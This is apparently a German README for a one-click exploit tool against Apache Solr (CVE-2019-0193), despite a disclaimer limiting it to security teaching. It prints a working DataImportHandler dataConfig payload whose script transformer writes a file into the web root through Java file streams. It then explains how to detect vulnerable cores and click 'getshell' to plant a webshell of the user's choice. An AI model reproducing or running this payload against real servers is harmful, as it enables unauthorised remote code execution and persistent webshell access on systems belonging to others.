
ApacheSolrRCE (CVE-2019-0193) schreibt mit einem Klick eine Shell. Das Prinzip: Die Webshell wird über einen Java-Dateistream geschrieben, der durch die Codeausführung ausgeführt wird.
Nur für den Austausch in der Informationssicherheits-Lehre gedacht; bitte nicht für illegale Tests oder Angriffe verwenden.
ApacheSolrRCE (CVE-2019-0193) schreibt per One-Click eine Shell. Das Prinzip ist das Schreiben eines Webshell-Trojans über einen Java-Dateistrom durch den ausgeführten Code.
Hinweis: Der Autor selbst ist eher unerfahren. Wenn du auf Bugs stößt oder andere Anforderungen hast, lade den Code selbst herunter und nimm die Änderungen vor.
Da die im Internet verbreiteten Payloads nur Befehle ausführen und es nicht komfortabel ist, eine Webshell abzulegen, wurde dieser Payload geschrieben (wenn 123456 zurückgegeben wird, war das Schreiben erfolgreich).
Hinweis: Das Tool dient nur als Testunterstützung. Falls das Tool keine Datei schreiben kann, wird manuelles Schreiben empfohlen.
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
Klicke zuerst auf „Erkennung“, um den Core zu erhalten und festzustellen, ob eine Schwachstelle vorliegt.
Danach klicke einfach auf „getshell“.
Hinweis: Lege deine Webshell im Verzeichnis shell ab. Das Tool lädt deine Webshell automatisch in die Dropdown-Liste.
Der Standard-Proxy ist ein HTTP-Proxy mit dem Port 8080; dies ist im Code fest verdrahtet. Wenn du es anders benötigst, kompiliere den Code selbst und ändere ihn entsprechend.